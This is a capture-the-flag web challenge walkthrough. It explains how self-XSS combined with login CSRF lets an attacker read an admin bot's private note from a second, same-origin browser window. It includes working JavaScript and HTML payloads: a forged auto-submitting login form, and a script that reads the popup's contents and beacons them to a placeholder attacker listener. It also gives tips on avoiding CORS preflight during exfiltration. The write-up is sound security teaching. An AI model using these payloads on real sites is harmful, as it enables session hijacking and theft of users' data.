Description
A note-taking app with an admin bot. The catch that makes this hard: the XSS is self-XSS (you can only ever view your own notes, so your script runs in your own session, not the admin's), and the app has CSRF protection on the sensitive actions. The flag lives in the admin bot's own note. The real solution is a multi-window client-side attack: log the bot into your account via login CSRF, then read the admin's flag note out of a second window with your stored XSS.
Setup
# Register, create a note containing a <script> payload, view it to confirm execution# Inspect the login POST - note the missing CSRF token on login specificallySolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Understand why plain cookie theft does not work
ObservationThe XSS is self-XSS: notes render only in their owner's session, and the flag lives in the admin's note. Direct cookie theft fails, because your script never runs in the admin's session and their cookie is probably HttpOnly anyway.The XSS is self-XSS: your stored script only ever runs when YOU view YOUR note, in your own session. The admin never renders your note in their session, so you cannot directly run code as admin or read their cookie. The flag is text inside the admin's own note page. The plan is to get the admin's flag-note page open in one window and your XSS running in another same-origin window, then read across.Learn more
Self-XSS is normally considered low impact because the victim has to attack themselves. Here it becomes powerful only when combined with a second bug (login CSRF) that lets you control which account the admin's browser is logged into, turning "your script in your session" into a same-origin foothold next to the admin's data.
Step 2Login CSRF to swap the bot into your account
ObservationThe login POST carries no CSRF token, while every other sensitive action does. That is the lever: forge a login form to quietly sign the admin bot into an account you control, which makes your self-XSS run inside the bot's browser.Build an attacker page that (1) opens the admin's flag-note page in a popup window (the bot is authenticated as admin, so the popup loads the flag note), then (2) auto-submits a login form to log the bot's MAIN window into YOUR account (login CSRF, since login has no token). Now the main window navigates to your note, which runs your XSS - and the popup still holds the admin's flag-note DOM, same-origin.js<!-- attacker page reported to the admin bot --> <script> // 1) open the admin's own flag note in a named popup (loads as admin) var w = window.open('http://CHALLENGE/notes', 'victim'); </script> <!-- 2) login-CSRF: log the bot's main window into YOUR account --> <form action="http://CHALLENGE/login" method="POST"> <input name="username" value="ATTACKER"> <input name="password" value="ATTACKER_PW"> </form> <script>document.forms[0].submit();</script>Exact field names, the flag-note URL, and the order of operations come from the app source; the principle is: admin's flag page in one same-origin window, your XSS-bearing note in the other.
What didn't work first
Tried: Trying to steal the admin's cookie with document.cookie instead of swapping sessions via login CSRF.
The admin's session cookie is probably HttpOnly, so document.cookie comes back empty. Even readable, it would not help: your code runs in your own session, never the admin's, so their cookie is out of reach from your note. Login CSRF matters because it moves the admin's browser into your account, where your stored XSS does run.
Tried: Submitting the login-CSRF form before opening the popup window, expecting to still have an admin-session popup.
Submit the form first and the main window navigates into your account immediately, ending the admin session before window.open runs. The popup then opens as you rather than as the admin, and the flag note is not there. Open the popup while the admin session is still live, then fire the login CSRF to swap the main window.
Learn more
Login CSRF is the underused half of CSRF: instead of forging a state change in the victim's account, you force the victim to authenticate as you. Because the two windows are same-origin after this, the Same-Origin Policy permits your script to read the other window's DOM via the
window.openhandle.Step 3Read the admin's flag note across windows and exfiltrate
ObservationAfter the login CSRF fires, the bot's main window, now in your account, is same-origin with the still-open admin note popup. The named handle from window.open lets the payload reach into that popup's DOM and read the flag text directly.From your stored XSS (now executing because the bot's main window is logged in as you), reach into the popup window's document, read the admin's flag-note text, and POST it to your listener.js<!-- payload stored in YOUR note, runs in the bot's main window after the login CSRF --> <script> var v = window.open('', 'victim'); // re-grab the same-named popup setTimeout(function(){ var flag = v.document.body.innerText; // admin's flag note, same-origin navigator.sendBeacon('https://YOUR-LISTENER/?f=' + encodeURIComponent(flag)); }, 1500); </script>bash# Watch your webhook.site / listener for the flag textWhat didn't work first
Tried: Using window.open('', 'victim') immediately without a setTimeout, expecting the admin's note DOM to already be ready.
The popup may still be navigating when the XSS fires, so reading its body returns an empty string, or throws a cross-origin error if the page has not yet committed to the same origin. A setTimeout, or a load listener on the popup, waits until the admin's flag note has finished loading and is readable.
Tried: Sending the flag with fetch() or XMLHttpRequest instead of navigator.sendBeacon, expecting the exfiltration to succeed.
A cross-origin POST still reaches your listener even with no CORS headers on it: with a safelisted Content-Type (text/plain, application/x-www-form-urlencoded, multipart/form-data) there is no preflight, the browser sends the body, and only the response is hidden from the script, which does not matter for exfiltration. Keep the content type safelisted, because a JSON body triggers a preflight that a bare listener will fail, and prefer navigator.sendBeacon when the page may navigate away mid-request, since it is queued by the browser and survives unload.
Learn more
The defense that breaks this whole chain is a CSRF token on the login form (so the bot cannot be silently logged into your account) plus framing/opener restrictions. With login protected, the self-XSS stays self-contained and the admin's note is unreadable.
Interactive tools
- URL Encoder / DecoderEncode and decode URL-encoded (percent-encoded) strings. Useful for web exploitation challenges involving query parameters, form data, and HTTP headers.
- Regex TesterTest regular expressions against a string with live match highlighting, flag toggles, and common CTF pattern shortcuts.
Flag
Reveal flag
picoCTF{...}
Self-XSS plus login CSRF, not simple cookie theft. Open the admin's flag note in a same-origin popup, login-CSRF the bot's main window into your account so your stored XSS runs, then read the popup's DOM across windows and exfiltrate the flag. (Not solved during the competition; flag held back.)